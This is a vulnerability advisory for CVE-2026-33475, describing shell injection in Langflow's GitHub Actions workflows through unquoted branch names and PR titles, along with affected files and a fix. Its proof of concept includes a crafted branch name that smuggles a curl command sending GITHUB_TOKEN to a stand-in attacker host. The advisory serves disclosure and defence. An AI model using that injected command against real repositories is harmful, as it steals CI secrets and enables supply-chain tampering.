CVE-2026-33475

Summary

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

PoC

1. Fork the Langflow repository

2. Create a new branch with the name:

   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   

3. Open a Pull Request to the main branch from the new branch

4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)

5. The run: step containing:

   echo "Branch: ${{ github.head_ref }}"
   

   Will execute:

   echo "Branch: injection-test"
   curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   

6. The attacker receives the CI secret via the exfil URL.

Impact

• Type: Shell Injection / Remote Code Execution in CI
• Scope: Any public Langflow fork with GitHub Actions enabled
• Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.

Affected Files (Langflow 1.3.4)

• .github/actions/install-playwright/action.yml
• .github/workflows/deploy-docs-draft.yml
• .github/workflows/docker-build.yml
• .github/workflows/release_nightly.yml
• .github/workflows/python_test.yml
• .github/workflows/typescript_test.yml

Affected Software

Weaknesses

• CWE-74: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
• CWE-78: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

ADP Enrichment

CISA ADP Vulnrichment

• SSVC:
• Exploitation: poc
  • Automatable: yes
  • Technical Impact: total

References

• https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w

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